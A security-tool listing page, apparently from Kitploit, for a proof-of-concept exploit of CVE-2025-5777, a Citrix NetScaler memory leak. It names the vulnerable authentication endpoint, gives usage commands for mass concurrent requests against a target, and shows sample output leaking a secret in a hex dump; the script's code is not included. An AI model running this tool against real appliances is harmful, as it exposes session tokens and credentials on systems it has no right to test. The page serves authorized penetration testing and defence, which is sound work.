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CVE-2025-5777 — Citrix NetScaler Memory Leak PoC | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2025-5777
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHub0xgh057r3c0n/cve-2025-5777

CVE-2025-5777

Citrix NetScaler Memory Leak PoC

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2411 year agoNot yet reviewed

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CVE-2025-5777 - Citrix NetScaler Memory Leak PoC

📌 Description

This script exploits a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway appliances, identified as CVE-2025-5777 (dubbed CitrixBleed 2). It triggers a memory leak through the /p/u/doAuthentication.do endpoint, revealing uninitialized memory containing sensitive data such as XML fragments, tokens, and potentially credentials.

  • 📅 CVE ID: CVE-2025-5777
  • ⚙️ Impact: Information Disclosure
  • 🧑‍💻 Author: [0xgh057r3c0n]
  • 🧵 Concurrency: Asynchronous with aiohttp
  • 📦 Dependencies: aiohttp, colorama

🚀 Features

  • Asynchronous mass-request engine using asyncio + aiohttp
  • Hex dump of leaked memory fragments
  • Auto-detection of the <InitialValue> memory leak
Download Tool
  • Verbose mode for debugging and response preview
  • Graceful interrupt handling (Ctrl+C)

    • 🧪 Usage

    root@kitploit:~
    python3 CVE-2025-5777.py http://<target> [options]

    🔧 Options

    OptionDescription
    -v, --verboseEnable verbose debug output
    -p <proxy>Use HTTP proxy (e.g., http://127.0.0.1:8080)
    -t <threads>Number of concurrent requests (default: 10)

    📥 Example

    root@kitploit:~
    python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5

    📤 Sample Output

    root@kitploit:~
    _____________   _______________         _______________   ________   .________          .___________________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/          |   ____/\______  \______  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______  |____  \     /    /   /    /   /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \   /    /   /    /   /    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /  /____/   /____/   /____/  
        \/                  \/                  \/     \/         \/       \/                 \/                             

         Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
                     Author: 0xgh057r3c0n

[🔄] POST → http://192.168.1.1/p/u/doAuthentication.do → Status: 200
[✔️ ] Found InitialValue Memory Leak!
[🧠] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21   secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74   @#$%^&*()"</Init
00000020: 69 61 6c 56 61 6c 75 65 3e                        ialValue>
------------------------------------------------------------------------

[✔️ ] Leak confirmed. Continuing extraction...

    ⚠️ Disclaimer

    This proof-of-concept is intended for educational and authorized security testing only. Unauthorized scanning or exploitation of systems you don't own is illegal.